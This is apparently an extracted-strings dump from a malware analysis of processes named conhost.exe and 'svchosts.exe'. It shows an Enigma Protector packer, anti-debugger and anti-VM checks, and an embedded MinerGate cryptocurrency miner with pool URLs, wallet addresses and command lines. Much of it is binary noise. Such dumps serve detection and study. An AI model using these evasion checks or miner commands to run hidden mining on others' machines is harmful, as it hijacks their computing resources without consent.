ZwEnumerateKey
ZwSetValueKey
ZwDeleteKey
ZwDeleteValueKey
ZwFlushKey
ZwLoadKey
ZwLoadKey2
ZwNotifyChangeKey
ZwQueryMultipleValueKey
ZwReplaceKey
ZwRestoreKey
ZwSaveKey
ZwSetInformationKey
ZwUnloadKey
ZwOpenKeyEx
TExported`
.Uym1
USER32.DLL
EInvalidGraphicOperation
uxtheme.dll
Proportional
MAPI32.DLL
TComboBoxExEnumerator
ssHorizontal
OnKeyDown
OnKeyPress
OnKeyUp
IE(AL("%s",4),"AL(\"%0:s\",3)","JK(\"%1:s\",\"%0:s\")")
JumpID("","%s")
HelpKeyword
OnExecute
ssHotTrack
TWindowState
poProportional
TWMKey
KeyPreview
WindowState,E
System\CurrentControlSet\Control\Keyboard Layouts\%.8x
vcltest3.dll
User32.dll
AutoHotkeys
AutoHotkeysHC
TKeyEvent
TKeyPressEvent
crSQLWait
%s (%s)
imm32.dll
w:\3rdparty\TntUnicode\Source\TntActnList.pas
PasswordChar
w:\3rdparty\TntUnicode\Source\TntStdCtrls.pas
w:\3rdparty\TntUnicode\Source\TntForms.pas
w:\3rdparty\TntUnicode\Source\TntMenus.pas
Internal Error: SyncHotKeyPosition Failed ("%s" <> "%s").
w:\3rdparty\TntUnicode\Source\TntControls.pas
Internal Error: SubClassUnicodeControl.Control is not Unicode.
.UnicodeClass
TntUnicodeVcl.DestroyWindow
Internal Error: Control does not support ITntGlyphButton.
dtPostMsg
Software\Microsoft\Windows\CurrentVersion
ProductKey
Software\Microsoft\Windows NT\CurrentVersion
\\.\PhysicalDrive0
\\.\%s
\\.\Scsi0:
\\.\SMARTVSD
w:\3rdparty\TntUnicode\Source\TntRegistry.pas
#$%&'()* ,-./01234
PSAPI.dll
s%F%,h
VBoxService.exe
ÞFAULT FOLDER%
%SYSTEM FOLDER%
%WINDOWS FOLDER%
Mutex object: Unique: %d-%d. Number: %d
DLL_Loader_Import_Unit
TInitImport
Could not load library: %s
k_ntdll.dll
File not found: %s
Can't find DLL entry point %s in %s
"%s" %s
%s %s
mscorwks.dll
mscoreei.dll
clr.dll
.llfw
<N$.Fkx
%s\%.8x%.8x-%.8x%.8x
X.xP`*U
)-%X`
coRegistratioKey
ZwQuerySection, Unsupported class %d
KeySetValue unsupported value type
ZwQueryValueKey, unsupported class %d
ZwQueryKey, unsupported class %d
ZwQueryObject with unsupported class
ZwReadFileInformation with unsupported class
ZwSetInformationFile with unsupported class
sxs.dll
THookWindowsAPI
nUc.HL@Y
\\.\NTICE
\\.\SICE
\\.\SIWDEBUG
I80|k.ZzD'
)TEnigmaProtectorLoaderFormStartuppassword
DLL_Loader_RunPassword_Unit
.brOmxw
1.2.3
Portable Network Graphics
decrypt_on_execute_begin
ECRONEXECB
decrypt_on_execute_end
ECRONEXECE
.section
deflate 1.2.3 Copyright 1995-2005 Jean-loup Gailly
inflate 1.2.3 Copyright 1995-2005 Mark Adler
;&;.;6;>;
?#?)?.?9?
1!1%1)1-11151~1
3 3$3(3,30383`3
;";&;*;.;2;
;$<=<`<{<
7&7.787=7
[0/1;102
0"0&0*000
5%5[5`5|5
3%4U4`4m4
1-171W1}1
0#0'0 0/0
1 1$1(1,1014181<1
8$8 82878
; ;(;0;8;@;
@``@``@``@``@``@``@``@
@``@``@``@``@``
333333333333333333
33333833
3333339
3333333333333338
:*"*"$3338
3333333
33333333
33333333333
3333333333338
33338?383
333333333333
:*3:"$3338
333333333333333
TntWindows
KWindows
UrlMon
_enigma_keygen_routines
virtualboximportunit
KeyRoutines
nJwaWindows
 DLL_Loader_Import_Unit
user32.dll
K3.hE-
.EKK*c
.Ri?0
.HhbL
.WBhSP
Hw2.Hw
advapi32.dll
version.dll
gdi32.dll
shell32.dll
SHFolder.dll
shlwapi.dll
GetWindowsDirectoryW
GetWindowsDirectoryA
GetCPInfo
GetKeyboardType
VkKeyScanW
UnhookWindowsHookEx
SetWindowsHookExW
SetWindowsHookExA
MsgWaitForMultipleObjects
MapVirtualKeyW
MapVirtualKeyA
LoadKeyboardLayoutA
GetKeyboardState
GetKeyboardLayoutList
GetKeyboardLayout
GetKeyState
GetKeyNameTextW
GetKeyNameTextA
EnumWindows
EnumThreadWindows
ActivateKeyboardLayout
RegOpenKeyExA
RegCloseKey
RegOpenKeyA
RegFlushKey
RegCreateKeyExA
SetViewportOrgEx
ShellExecuteW
ShellExecuteA
RtlFormatCurrentUserKeyPath
.idata
.edata
P.reloc
P.rsrc
emulatorsdetect.dll
2'2U2^2j2q2
minergate-cli.exe
?coinKey@AbstractMinerEngine@MinerGate@@QBE?AVQString@@XZ
?defFeePoolChanged@CNBaseEngine@MinerGate@@AAEXABVQUrl@@@Z
?setCpuCores@AbstractMinerEngine@MinerGate@@QAEXI@Z
?setCpuCoresImpl@CNBaseEngine@MinerGate@@MAEXI@Z
?setCpuCoresImpl@ScryptBaseEngine@MinerGate@@MAEXI@Z
?startCpu@AbstractMinerEngine@MinerGate@@QAEXI@Z
?startCpuImpl@CNBaseEngine@MinerGate@@MAEXI@Z
?startCpuImpl@ScryptBaseEngine@MinerGate@@MAEXI@Z
Qt5Core.dll
Qt5Network.dll
Qt5WebSockets.dll
cudart32_60.dll
MSVCP110.dll
MSVCR110.dll
plib.dll
??0QWebSocket@@QAE@ABVQString@@W4Version@QWebSocketProtocol@@PAVQObject@@@Z
k.xxo
vi8%F
V?.EA`
l"X.xJzW|g~
94&:;%f
<K'PA.pd
4Id%fr
.xV/[
d:]4v.Hp
@G %D
.idart
`P.re
D.Vca
4.pXp
%SEoD
kern0l32.ud
;X.VB
-Dk%u
/S-Z}
o:.Lk>d
t:\N424
)9%XPh
%uC|p
12345678
#$%&*;<=.>@_
Keyw{
uÊl
s0.SVO
{:%cT
srO%C
%s_7d
_=p%u6
w:\3rdp^a
K:%Xa
cRTY E
S.rAtR
<.ou-(<Xf
TLM|%c
%Ch.ZZ
E).pJ
F.hqO
f;%XWm
6<Tj%S[i
%UlJ0
rviyc%s
.LR$/
7%)ntl%uG:
"%sc,4)
%SWv9Ia%
%cR1%
i|$_%DY
keyPs&<
23456789
BkEY
?,?3:4;8'9
%s2 (
.HYFKJ
 %SD3
,u%X'
hA.Dh
f;2%u[
Q.KPe
-y.lO
C Ö)
>X.PC$N(
.UP?1
("9%s
X%c&u 
%s e(
.vpPDr
* ,-./01
e.UqOL&
.Mt>.
s%F@,h
ÞFAU
.uS%$
<N$.Fk
VirtualsP%ckP
-Q}iW
@%Xc^
Uc.HL@Y
;i.nc
ÜE6Hv
mc%dT
0}%f:7
%DZ`"
%C,/-
Q.KJ$'
"p.xUbP
Porta
1234567
8$4,6-9'
x"%D.
"%D,3
?F=N3V%f
?R?]%c
>P.km
Jx<%F
;-':X.NN
Xr9E%SA
.NgBH
z8H;\%U
3%x2KD
-.Ajo
.VX$~^~b~fJj
~"~&~*~.~2~6[:
-fYR%S
%C|:M
.ptY:(
8.tVkf
$y.fc
.Nd2(
~ ~$~(^,
.HhbX
p5.oie
.ex|'
'.sVd
Y.pKs
h.Xw%7
:%5xBP
VM8Y
X.vFY<`C
hb2%X
= \#= 58
-.zy/
IM?%c
>.LJ^[t
=7>E?R?_%f
-.AXo
>,&%d
?#?'? ?/%
49!:%&):
.oPAp
(.tb:
Site : hXXp://VVV.enigmaprotector.com/
E-mail : support@enigmaprotector.com
Unspecified error (%d) from %s.
%Cookies FOLDER%
enigma_ide.dll
%s - Entry Point Not Found
The procedure entry point %s could not be located in the dynamic link library %s.
ÚysToKeyExp%
%RegKey%
%KeyExpYear%
%KeyExpMonth%
%KeyExpDay%
%CU_EXTFILES%
%CU_EXECPR%
%CU_INSTSERV%
%CU_WINVER%
%CU_VIRTTOOLS%
%TrialExecsTotal%
%TrialExecsLeft%
%TrialExecMinsTotal%
%TrialExecMinsLeft%
hh.exe
write.exe
attrib.exe
chkdsk.exe
compact.exe
find.exe
help.exe
winver.exe
regsvr32.exe
replace.exe
dllhost.exe
ntvdm.exe
tcpsvcs.exe
Was not able to create virtual value at ImportCall_ZwSetValueKey
Was not able to create virtual key at ImportCall_ZwSetValueKey
ImportCall_ZwLoadKey
ImportCall_ZwLoadKey2
ImportCall_ZwNotifyChangeKey
ImportCall_ZwQueryMultipleValueKey
ImportCall_ZwReplaceKey
ImportCall_ZwRestoreKey
ImportCall_ZwSaveKey
ImportCall_ZwSetInformationKey
ImportCall_ZwUnloadKey
evb*.tmp
.manifest
Unsupported call of ZwSetVolumeInformationFile
@<>:"/\|?*
Application requires password to start
Enter password
Change password
New password:
Confirm new password:
The file being readed is not a valid "Portable Network Graphics" image because it contains an invalid header. This file may be corruped, try obtaining it again.nThis "Portable Network Graphics" image is not supported or it might be invalid.
This "Portable Network Graphics" image is not supported because either it's width or height exceeds the maximum size, which is 65535 pixels length.
There is no such palette entry.dThis "Portable Network Graphics" image contains an unknown critical part which could not be decoded.pThis "Portable Network Graphics" image is encoded with an unknown compression scheme which could not be decoded.cThis "Portable Network Graphics" image uses an unknown interlace scheme which could not be decoded.-The chunks must be compatible to be assigned.jThis "Portable Network Graphics" image is invalid because the decoder found an unexpected end of the file.8This "Portable Network Graphics" image contains no data.oSome operation could not be performed because the system is out of resources. Close some windows and try again.OThis operation is not valid because the current image contains no valid header.4The new size provided for image resizing is invalid.
RichEdit line insertion error=This control requires version 4.70 or greater of COMCTL32.DLL
No help keyword specified.&Cannot change the size of a JPEG image
JPEG error #%d
JPEG Image FilejThis "Portable Network Graphics" image is not valid because it contains invalid pieces of data (crc error)yThe "Portable Network Graphics" image could not be loaded because one of its main piece of data (ihdr) might be corruptedUThis "Portable Network Graphics" image is invalid because it has missing image parts.[Could not decompress the image because it contains invalid compressed data.
Description: BThe "Portable Network Graphics" image contains an invalid palette.
No help found for %s#No context-sensitive help installed$No topic-based help system installed
Alt  Clipboard does not support Icons
Text exceeds memo capacity/Menu '%s' is already being used by another form
Unsupported clipboard format
Error creating window class Cannot focus a disabled or invisible window!Control '%s' has no parent window
Failed to set data for '%s'
Resource %s not found
%s.Seek not implemented$Operation not allowed on sorted list$%s not in a class registration group
Property %s does not exist
Thread creation error: %s
Thread Error: %s (%d)
Invalid Format Specifier: %s7CreateClone not implemented for class %s with source %s
Cannot open file "%s". %s
'%s' is an invalid mask at (%d)$''%s'' is not a valid component name
Invalid data type for '%s' List capacity out of bounds (%d)
List count out of bounds (%d)
List index out of bounds (%d) Out of memory while expanding memory stream
Error reading %s%s%s: %s
Failed to get data for '%s'
.Method '%s' not supported by automation object/Variant does not reference an automation object7Dispatch methods do not support more than 64 parameters
Ancestor for '%s' not found
Cannot assign a %s to a %s
Bits index out of range*Can't write to a read-only resource streamECheckSynchronize called from thread $%x, which is NOT the main thread
Class %s not found
A class named %s already exists%List does not allow duplicates ($0%x)#A component named %s already exists%String list does not allow duplicates
Cannot create file "%s". %s
Interface not supported
%s (%s, line %d)
Abstract Error?Access violation at address %p in module '%s'. %s of address %p
System Error. Code: %d.
Invalid variant operation
Invalid NULL variant operation%Invalid variant operation (%s%.8x)
%s5Could not convert variant of type (%s) into type (%s)=Overflow while converting variant of type (%s) into type (%s)
Operation not supported
External exception %x
Invalid pointer operation
Invalid class typecast0Access violation at address %p. %s of address %p
Privileged instruction(Exception %s in module %s at %p.
Application Error1Format '%s' invalid or incompatible with argument
No argument for format '%s'"Variant method calls not supported
!'%s' is not a valid integer value
I/O error %d
Integer overflow Invalid floating point operation
Emulators usually hooks all Windows API functions (due to a lot of APIs),

conhost.exe_1884:

.text
`.data
.rsrc
@.reloc
GDI32.dll
USER32.dll
msvcrt.dll
ntdll.dll
API-MS-Win-Core-LocalRegistry-L1-1-0.dll
KERNEL32.dll
IMM32.dll
ole32.dll
OLEAUT32.dll
PutInputInBuffer: EventsWritten != 1 (0x%x), 1 expected
Invalid message 0x%x
InitExtendedEditKeys: Unsupported version number(%d)
Console init failed with status 0x%x
CreateWindowsWindow failed with status 0x%x, gle = 0x%x
InitWindowsStuff failed with status 0x%x (gle = 0x%x)
InitSideBySide failed create an activation context. Error: %d
GetModuleFileNameW requires more than ScratchBufferSize(%d) - 1.
GetModuleFileNameW failed %d.
Invalid EventType: 0x%x
Dup handle failed for %d of %d (Status = 0x%x)
Couldn't grow input buffer, Status == 0x%x
InitializeScrollBuffer failed, Status = 0x%x
CreateWindow failed with gle = 0x%x
Opening Font file failed with error 0x%x
\ega.cpi
NtReplyWaitReceivePort failed with Status 0x%x
ConsoleOpenWaitEvent failed with Status 0x%x
NtCreatePort failed with Status 0x%x
GetCharWidth32 failed with error 0x%x
GetTextMetricsW failed with error 0x%x
GetSystemEUDCRangeW: RegOpenKeyExW(%ws) failed, error = 0x%x
RtlStringCchCopy failed with Status 0x%x
Cannot allocate 0n%d bytes
|%SWj
O.fBf;
ReCreateDbcsScreenBuffer failed. Restoring to CP=%d
Invalid Parameter: 0x%x, 0x%x, 0x%x
ConsoleKeyInfo buffer is full
Invalid screen buffer size (0x%x, 0x%x)
SetROMFontCodePage: failed to memory allocation %d bytes
FONT.NT
Failed to set font image. wc=x, sz=(%x,%x)
Failed to set font image. wc=x sz=(%x, %x).
Failed to set font image. wc=x sz=(%x,%x)
FullscreenControlSetColors failed - Status = 0x%x
FullscreenControlSetPalette failed - Status = 0x%x
WriteCharsFromInput failed 0x%x
WriteCharsFromInput failed %x
RtlStringCchCopyW failed with Status 0x%x
CreateFontCache failed with Status 0x%x
FTPh
\>.Sj
GetKeyboardLayout
MapVirtualKeyW
VkKeyScanW
GetKeyboardState
UnhookWindowsHookEx
SetWindowsHookExW
GetKeyState
ActivateKeyboardLayout
GetKeyboardLayoutNameA
GetKeyboardLayoutNameW
_amsg_exit
_acmdln
ShipAssert
NtReplyWaitReceivePort
NtCreatePort
NtEnumerateValueKey
NtQueryValueKey
NtOpenKey
NtAcceptConnectPort
NtReplyPort
SetProcessShutdownParameters
GetCPInfo
conhost.pdb
%$%a%b%V%U%c%Q%W%]%\%[%
%<%^%_%Z%T%i%f%`%P%l%g%h%d%e%Y%X%R%S%k%j%
version="5.1.0.0"
name="Microsoft.Windows.ConsoleHost"
<requestedExecutionLevel
name="Microsoft.Windows.ConsoleHost.SystemDefault"
publicKeyToken="6595b64144ccf1df"
name="Microsoft.Windows.SystemCompatible"
version="6.0.0.0"
publicKeyToken="6595b64144ccf1df"
< =$>:>@>
2%2X2
%SystemRoot%
\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Console\TrueTypeFont
\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Console\FullScreen
WindowSize
ColorTableu
ExtendedEditkeyCustom
ExtendedEditKey
Software\Microsoft\Windows\CurrentVersion
\ !:=/.<>;|&
%d/%d
cmd.exe
desktop.ini
\console.dll
%d/%d
6.1.7601.17641 (win7sp1_gdr.110623-1503)
CONHOST.EXE
Windows
Operating System
6.1.7601.17641

svchosts.exe_2836_rwx_002F1000_007B7000:

}.SVW
X%xM6
.nP,.n0..n@/.nP0.n
U.n0Z.npn.n
..\..\..\..\sources\miner-console-application\src\main.cpp
minergate-cli [-version] -user <email> [-proxy <url>] -<currency> <threads> [<gpu intensity>] [-<currency> <threads> [<gpu intensity>] ...] [-o <pool> -u <login> [-t <threads>] [-i <gpu intensity>]]
account email from minergate.com
proxy server URL. Supports only socks protocols (for example: socks://192.168.0.1:1080
mining pool URL
mining pool login
minergate-cli -user minergate@minergate.com -proxy socks://192.168.0.1:1080 -bcn 4
minergate-cli -user minergate@minergate.com -proxy socks://192.168.0.1:1080 -xmr 2 -o stratum tcp://sbk.extremepool.org:5555 -u SbLi3ddQ7DWWs4EA3Rtqf6JNtfTVJHRzGXNUtiaACRXFEkQ9u8h9Gf9SYPW5ugpJKYECZXczYfc1BV1mkH8sYdmF1MyRMSdSj -t 3 -i 2
minergate-cli -user minergate@minergate.com -bcn 0 2 -fcn xmr 3 -qcn 1
minergate-cli -user minergate@minergate.com -bcn 2 2 -fcn xmr 3 -o stratum tcp://oec.xminingpool.com:7555 -u C5JUSUFJfkbbqpJAcrR7wK7FdzLAwjn52DF3sD2tyH3fgH9x95nAWshapc3JxpsEPoPSvcPNWpwsjRhCuFyA4G9xNiQd4Jt -t 3
minergate-cli -o stratum tcp://sbk.extremepool.org:5555 -u SbLi3ddQ7DWWs4EA3Rtqf6JNtfTVJHRzGXNUtiaACRXFEkQ9u8h9Gf9SYPW5ugpJKYECZXczYfc1BV1mkH8sYdmF1MyRMSdSj -i 3
Incorrect proxy URL
Pool login missed
login
.lock
2criticalUpdatesAvailableSignal(QUrl)
httpPort
stratumPort
stratum tcp://%1:%2
minermanager-lock-9637ffb0-bbf9-11e3-a5e2-0800200c9a66
Windows
hXXps://minergate.com
password
Missing password
/api/2.2/auth/login
1loginResp(quint32, QByteArray, QVariant)
Login request URL: %1
..\..\..\..\sources\miner-core\src\serverapi.cpp
JSON error: %s
WrongEmailOrPassword
Error: %s
Balance request URL: %1
Payout request URL: %1
webPageUrl
Login response data: %1
LOGIN response: %1
WebSocket connected successfully!
client.info
WebSocket disconnected
channel:mining.stats.changes
channel:user.profile
workers.statuses
WebSocket message: %1
loginResp
_pool_url
_coin_key
127.0.0.1
--api-port
%1.log
%1://%2:%3
bfgminer.exe
miners.ini
minergate.log
void __thiscall MinerGate::Logger::infoMsg(const class QString &,const class QString &)
..\..\..\..\sources\utils\src\logger.cpp
void __thiscall MinerGate::Logger::warningMsg(const class QString &,const class QString &)
void __thiscall MinerGate::Logger::criticalMsg(const class QString &,const class QString &)
void __thiscall MinerGate::Logger::fatalMsg(const class QString &,const class QString &)
[%1] [%2] %3
yyyy-MM-dd HH:mm:ss.zzz
proxy-url
application/x-www-form-urlencoded
%1:%2:%3:%4
WebSocket API Proxy: %1 %2:%3
/websocket/
https
dev@minergate.com
startCpu
jsonrpc_request_login
jsonrpc_response_login
tryLogin
1login(QVariantMap)
2jsonrpc_response_login(QVariantMap)
1tryLogin()
StratumClient: Login ERROR
Failed to submit share! (msg="%1" id="%2" job_id="%3" nonce="%4" result="%5"), updating job...
Failed to login! (msg="%1"), disconnect and sleep...
Error! (msg="%1" code="%2" method="%3"), disconnect and sleep...
JsonRpc::TcpNetworkEngine
GPU #%d: result for fee nonce $X does not validate on CPU!
GPU #%d: result for nonce $X does not validate on CPU!
q>e%D#
tX4Fr.rh.46Aw-wl-6
.eK9K\9.
C:\Users\user\Documents\projects\minergate.app\build\win32-cli\RelWithDebInfo\minergate-cli.pdb
.?AVTcpNetworkEngine@JsonRpc@@
t44Fr.rh.66Aw-wl-
..eK9K\9
.44Fr.rh-66Aw-wl
9..eK9K\W
h.44Fr.rl-66Aw-w
O\9..eK9K=W
trh.44Fr.wl-66Aw-
K\9..eK9
.rh.44Fr-wl-66Aw
O9K\9..eKW
r.rh.44Fw-wl-66A
tXXFr.rh.44Aw-wl-66
C:/Users/user/Documents/projects/minergate.app/sources/cudaminer/src/cuda_cryptonight_core.cu
{ 6;'67'
A.EK)W
.shstrtab
.strtab
.symtab
.text._Z27cryptonight_core_gpu_phase2iiiPhP19cryptonight_gpu_ctx
.nv.info._Z27cryptonight_core_gpu_phase2iiiPhP19cryptonight_gpu_ctx
.nv.shared._Z27cryptonight_core_gpu_phase2iiiPhP19cryptonight_gpu_ctx
.nv.info
.nv.constant0._Z27cryptonight_core_gpu_phase2iiiPhP19cryptonight_gpu_ctx
.text._Z27cryptonight_core_gpu_phase3iPhP19cryptonight_gpu_ctx
.nv.info._Z27cryptonight_core_gpu_phase3iPhP19cryptonight_gpu_ctx
.nv.shared._Z27cryptonight_core_gpu_phase3iPhP19cryptonight_gpu_ctx
.nv.constant0._Z27cryptonight_core_gpu_phase3iPhP19cryptonight_gpu_ctx
.text._Z27cryptonight_core_gpu_phase1iPhP19cryptonight_gpu_ctx
.nv.info._Z27cryptonight_core_gpu_phase1iPhP19cryptonight_gpu_ctx
.nv.shared._Z27cryptonight_core_gpu_phase1iPhP19cryptonight_gpu_ctx
.nv.constant0._Z27cryptonight_core_gpu_phase1iPhP19cryptonight_gpu_ctx
.nv.constant2
I).rl|
.nv.constant3
g%XTkZ
`zC:/Users/user/Documents/projects/minergate.app/sources/cudaminer/src/cuda_cryptonight_core.cu
H80.Gc
C:/Users/user/Documents/projects/minergate.app/sources/cudaminer/src/cuda_cryptonight_extra.cu
.IILh
..ax$
.QH4y
M%U1.
Yy.iu
Lo7%Dx'J{Hy
Ä[dw
.Tsv2
]QCwEBwE
$3.YuA
%ctcIB
`.eBh.
3I.IY
o.xiK
BÞ\H\
Rk.ae
uY.La
.EYID7
.EYFD7
68(:N.Dn
j`.Eb
.cfyu
njb.EbQ
kb.Eb
kb.EbQ
>|.nJ
,ÿj
%n%f}
H.LU.
Çac
u|.XP
y#.dH
.MP<>
).kB"`
7{w\%f
%SFW$
#%.am
3.%Uz
&u.Er
Z8.amP
HC%Uh~
B.yE4
@.BQ,
%XKxAA<
J.OKL
.WyJt]`a
\.mkE
.GK79Z
>/G:.is
m%Fln
*}.Yn
E.vC.r
i^(.BrD
yAo%f
aK@cRt'
Ez%X$@@<&
*.HoZ
*;.Liuz'
x!C%F:
CCu.oWf
A.Pq<
e.AMgn
%Uq/YG
k%CUr~
_ .Pyy
.bO`Em
mA\.ocR1
.text._Z29cryptonight_extra_gpu_prepareiPjjP19cryptonight_gpu_ctx
.nv.info._Z29cryptonight_extra_gpu_prepareiPjjP19cryptonight_gpu_ctx
.nv.shared._Z29cryptonight_extra_gpu_prepareiPjjP19cryptonight_gpu_ctx
.nv.constant0._Z29cryptonight_extra_gpu_prepareiPjjP19cryptonight_gpu_ctx
.text._Z27cryptonight_extra_gpu_finalijPjS_P19cryptonight_gpu_ctx
.nv.info._Z27cryptonight_extra_gpu_finalijPjS_P19cryptonight_gpu_ctx
.nv.shared._Z27cryptonight_extra_gpu_finalijPjS_P19cryptonight_gpu_ctx
.nv.constant16._Z27cryptonight_extra_gpu_finalijPjS_P19cryptonight_gpu_ctx
.nv.constant0._Z27cryptonight_extra_gpu_finalijPjS_P19cryptonight_gpu_ctx
hC\%U
.nv.constant2._Z27cryptonight_extra_gpu_finalijPjS_P19cryptonight_gpu_ctx
8722222
\.UUUU9C
:zq%3u
.LGvS
2O%XF
%%Xx)
>E.mLG
.pHkF`
?;.Ry
.XG6sy
$1"%f%
NdRg4%3X
.VYIT7
k.OlzF
R%Dx2J
m.Sg.S
Og.Se
`%Flu
%sM!v
'c.YN
~,%f}I
,dN.kl/
s.oV?
.akPp
ch-y}
n.AzP
")6%f
IK.Za
%FX_b
hwEB
:>/òZ
=/òZ
M-GS5}
n.Az`
y%Sc}T
L.DG$C
C.Spys
^*.mOs
a^.zO
n.XZXv
K#.XP
=L^X(,@.wB
.gnBEX
û)<
.Aw <%
,X.UI
d^%uQ*
y.xs.
bp>%XqGx
$/.sUc
S%fwa
_-s}!s
@h.GA
9\M%d
(:g".Ey
Hg|%u
)$X%U(yFWu $0
!f9%Dul
hû1d#q
S2w.bH
.WQ._c
T.WQq_a
.CvsQy
~lcL.CCp*
.%U&%
u.LKW]
.uA:S
.vlf'
.GIprl
bF@.mU
O.YLr-
b7.MW*
l@-5}
dgW%C
uo.ps
v.zS?
U.Wzx
7P%9UYp2
')1%DW
JR.Re
*/?;.Qy
5O%XB
?;.Sy
T.BiP
e@.Ja
^uüa
j.DeD@Z
m.Sd$
l.Sb$
|.Sb.S
N%u2b[
NE.SK
5.NXi
.Nw-s
t~ %U
eb.EbQNgK
.hB.=bQ
A}|,%f
eb.EbQ
3RF.kv
gb.EbQ
t!l<mM.ia
5x!~.iy
mM.Ayp'
O,#z!n.ye
d5&7kN.AA
mM.AA
xb%UM
.wZQE
.wZA$
=Zx%S
n.Azpf
AvuDPG
\P6.xW
.XZWC
).kBR
n.Azp
%XLx1
.Wyjt]`e
K5.zvT
G@B%c
d.pB'
%U 4"
.gx/F<
S%f_a
f%6uK
q.TRM
b%Us)
&.MH0
T%6uK*2
.IC2C
<7}%Fl
glQ
E.abh
b6%.Ff
B6'
oA.Zq
.QV$b
.YU!Y
W.WIY
@V%D L
z%s##
"!kEY
vL"-X}i
| |%F
.ls1QO
z%%xk5
.Fb1d#1P
L$.Cfo
n;.Rw
I~%xT
u?%CsaDZs
L%u0L
fL.zL
portP;
G\.Qw
G\.SG
H8.NG
G\%Cg
G\.RG
G\.Zw
H8%D'
(8.PG
G8%FW
6T.Wb
6..Ge
[7.wc
H8.OW
(8@.Gb
6%dG*0
H8.gG*0
H8.jG*0
G\.FWd

svchosts.exe_2836_rwx_00AA9000_00288000:

kernel32.dll
Windows
MSWHEEL_ROLLMSG
MSH_WHEELSUPPORT_MSG
MSH_SCROLL_LINES_MSG
comctl32.dll
$*@@@*$@@@$ *@@* $@@($*)@-$*@@$-*@@$*-@@(*$)@-*$@@*-$@@*$-@@-* $@-$ *@* $-@$ *-@$ -*@*- $@($ *)(* $)
oleaut32.dll
EVariantBadIndexError
ole32.dll
!"#$%&*;<=>@[]^_`{|}
ssShift
htKeyword
EInvalidOperation
u%CNu
%s[%d]
%s_%d
.Owner
TNT Internal Error: TWideComponentHelper.Create should never be encountered.
w:\3rdparty\TntUnicode\Source\TntClasses.pas
Internal Error: Unexpected format type (%s)
W:\3rdparty\ScreamSec\SecUtils.pas
TCipher.CreateIntf: Algorithm mismatch
TBlockCipher.CreateIntf: Wrong VectorSize
Cipher mode not supported
The vector for %s is %d blocks. Cannot initialize with a %d block vector.
The block size for %s is %d bytes and the key is %d bytes. Cannot initialize with a %d block vector.
The minimum key and IV size for %s is %d bytes.
Not supported
TRijndael_PipedPCFB
Rijndael: Invalid key size - %d
2.16.840.1.101.3.4.1.1
2.16.840.1.101.3.4.1.21
2.16.840.1.101.3.4.1.41
1.3.6.1.4.1.13085.1.22
1.3.6.1.4.1.13085.1.23
1.3.6.1.4.1.13085.1.24
2.16.840.1.101.3.4.1.4
2.16.840.1.101.3.4.1.24
2.16.840.1.101.3.4.1.44
1.3.6.1.4.1.13085.1.7
1.3.6.1.4.1.13085.1.8
1.3.6.1.4.1.13085.1.9
1.3.6.1.4.1.13085.1.4
1.3.6.1.4.1.13085.1.5
1.3.6.1.4.1.13085.1.6
1.3.6.1.4.1.13085.1.10
1.3.6.1.4.1.13085.1.11
1.3.6.1.4.1.13085.1.12
1.3.6.1.4.1.13085.1.1
1.3.6.1.4.1.13085.1.2
1.3.6.1.4.1.13085.1.3
1.3.6.1.4.1.13085.1.16
1.3.6.1.4.1.13085.1.17
1.3.6.1.4.1.13085.1.18
2.16.840.1.101.3.4.1.2
2.16.840.1.101.3.4.1.22
2.16.840.1.101.3.4.1.42
1.3.6.1.4.1.13085.1.19
1.3.6.1.4.1.13085.1.20
1.3.6.1.4.1.13085.1.21
2.16.840.1.101.3.4.1.3
2.16.840.1.101.3.4.1.23
2.16.840.1.101.3.4.1.43
2.16.840.1.101.3.4.1.5
2.16.840.1.101.3.4.1.25
2.16.840.1.101.3.4.1.45
/* Dr Brian Gladman (gladman@seven77.demon.co.uk) 14th January 1999 */
TGenerator.Create: Cipher mode must be cmCTR.
TMPPool.CheckThreadID: Called from the wrong thread.
TMPPool.Cache: Invalid pointer
TMPPool.Obtain: Out of memory
TMPPool.InternalCheck: Invalid pointer
Portugal
Turkey
TKeyVerifyParams
12345678-
EP_RegCheckKey
EP_RegCheckKeyA
EP_RegCheckKeyW
EP_RegSaveKey
EP_RegSaveKeyA
EP_RegSaveKeyW
EP_RegLoadKey
EP_RegLoadKeyA
EP_RegLoadKeyW
EP_RegLoadAndCheckKey
EP_RegCheckAndSaveKey
EP_RegCheckAndSaveKeyA
EP_RegCheckAndSaveKeyW
EP_RegDeleteKey
EP_RegKeyExpirationDate
EP_RegKeyExpirationDateEx
EP_RegKeyCreationDate
EP_RegKeyCreationDateEx
EP_RegKeyExecutions
EP_RegKeyExecutionsTotal
EP_RegKeyExecutionsLeft
EP_RegKeyDays
EP_RegKeyDaysTotal
EP_RegKeyDaysLeft
EP_RegKeyRuntime
EP_RegKeyRuntimeTotal
EP_RegKeyRuntimeLeft
EP_RegKeyGlobalTime
EP_RegKeyGlobalTimeTotal
EP_RegKeyGlobalTimeLeft
EP_RegKeyRegisterAfterDate
EP_RegKeyRegisterAfterDateEx
EP_RegKeyRegisterBeforeDate
EP_RegKeyRegisterBeforeDateEx
EP_TrialExecutions
EP_TrialExecutionsTotal
EP_TrialExecutionsLeft
EP_TrialExecutionTime
EP_TrialExecutionTimeTotal
EP_TrialExecutionTimeLeft
EP_RegCheckKeyEx
EP_RegSaveKeyEx
EP_RegLoadKeyEx
EP_CheckUpStartupPasswordHashString
EP_ProtectedStringByKey
EP_RegKeyInformation
EP_RegKeyInformationA
EP_RegKeyInformationW
EP_RegKeyStatus
Windows 95
WIN_VER_WINDOWS95
Windows 95 OSR2
WIN_VER_WINDOWS95OSR2
Windows 98
WIN_VER_WINDOWS98
Windows 98 SE
WIN_VER_WINDOWS98SE
Windows ME
WIN_VER_WINDOWSME
Windows 2000
WIN_VER_WINDOWS2000
Windows 2000 Professional
WIN_VER_WINDOWS2000PROF
Windows 2000 Data Server
WIN_VER_WINDOWS2000DATASERVER
Windows 2000 Advanced Server
WIN_VER_WINDOWS2000ADVSERVER
Windows 2000 Server
WIN_VER_WINDOWS2000SERVER
Windows XP
WIN_VER_WINDOWSXP
Windows XP Home
WIN_VER_WINDOWSXPHOME
Windows XP Professional
WIN_VER_WINDOWSXPPROF
Windows XP Professional x64
WIN_VER_WINDOWSXPPROFx64
Windows XP Professional Datacenter x64
WIN_VER_WINDOWSXPPROFDATACENTERx64
Windows XP Professional Enterprise x64
WIN_VER_WINDOWSXPPROFENERPRICEx64
Windows XP Professional Standart x64
WIN_VER_WINDOWSXPPROFSTANDARTx64
Windows 2003
